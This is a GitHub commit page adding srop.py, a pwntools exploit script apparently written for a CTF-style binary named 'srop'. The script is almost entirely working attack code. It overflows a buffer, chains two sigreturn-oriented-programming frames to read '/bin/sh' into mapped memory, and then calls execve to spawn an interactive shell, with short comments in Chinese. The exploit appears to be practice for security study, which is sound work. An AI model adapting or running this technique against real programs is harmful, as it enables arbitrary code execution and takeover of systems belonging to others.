Skip to content

Commit ce69608

Browse files
committed
Add srop.py
1 parent 5a79927 commit ce69608

File tree

1 file changed

+68
-0
lines changed

1 file changed

+68
-0
lines changed

srop/srop.py

+68
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#!/usr/bin/env python3
2+
from pwn import *
3+
4+
5+
c = process('./srop')
6+
elf = ELF('./srop')
7+
context.arch = 'amd64'
8+
context.terminal = ['tmux', 'splitw', '-h']
9+
gdb.attach(c, 'init-gef')
10+
11+
#context.log_level = 'debug'
12+
13+
"""
14+
my_restore_rt: 0x401176
15+
new_mmap: 0x7fb5f370c010
16+
"""
17+
18+
my_restore_rt = 0x4011be
19+
syscall_ret = 0x4011c7
20+
print(
21+
"""
22+
b *0x4011be
23+
b *0x4011c7
24+
""")
25+
26+
# 取得 leak 出的 mmap 的位置
27+
# drop first line
28+
c.recvuntil('\n')
29+
new_mmap = c.recvuntil('\n')[:-1].decode().strip().split(' ')[-1]
30+
new_mmap = int(new_mmap, 16)
31+
print(hex(my_restore_rt), hex(new_mmap), hex(syscall_ret))
32+
33+
mmap1 = new_mmap + 0x2000
34+
mmap2 = mmap1 + 0x2000
35+
36+
stack = mmap2
37+
bin_sh = stack + 0x300
38+
39+
"""
40+
1. read "/bin/sh" to mmap1
41+
"""
42+
43+
# 第一個 SROP 嘗試去讀入資料到 heap 中
44+
sigframe = SigreturnFrame()
45+
sigframe.rax = constants.SYS_read
46+
sigframe.rdi = 0
47+
sigframe.rsi = stack
48+
sigframe.rdx = 0x1000
49+
sigframe.rip = syscall_ret
50+
sigframe.rsp = stack
51+
52+
payload = b'a' * 0x20 + b'rbpprbpp' + p64(my_restore_rt) + bytes(sigframe)
53+
c.send(payload)
54+
55+
# 第二個 SROP 嘗試去執行 execve
56+
execve_sigframe = SigreturnFrame()
57+
execve_sigframe.rax = constants.SYS_execve
58+
execve_sigframe.rdi = bin_sh
59+
execve_sigframe.rsi = 0
60+
execve_sigframe.rdx = 0
61+
execve_sigframe.rsp = stack
62+
execve_sigframe.rip = syscall_ret
63+
64+
payload = flat({0x0: p64(my_restore_rt), 0x8: bytes(execve_sigframe), 0x300: '/bin/sh\0'})
65+
c.sendafter('done', payload)
66+
67+
c.interactive()
68+

0 commit comments

Comments
 (0)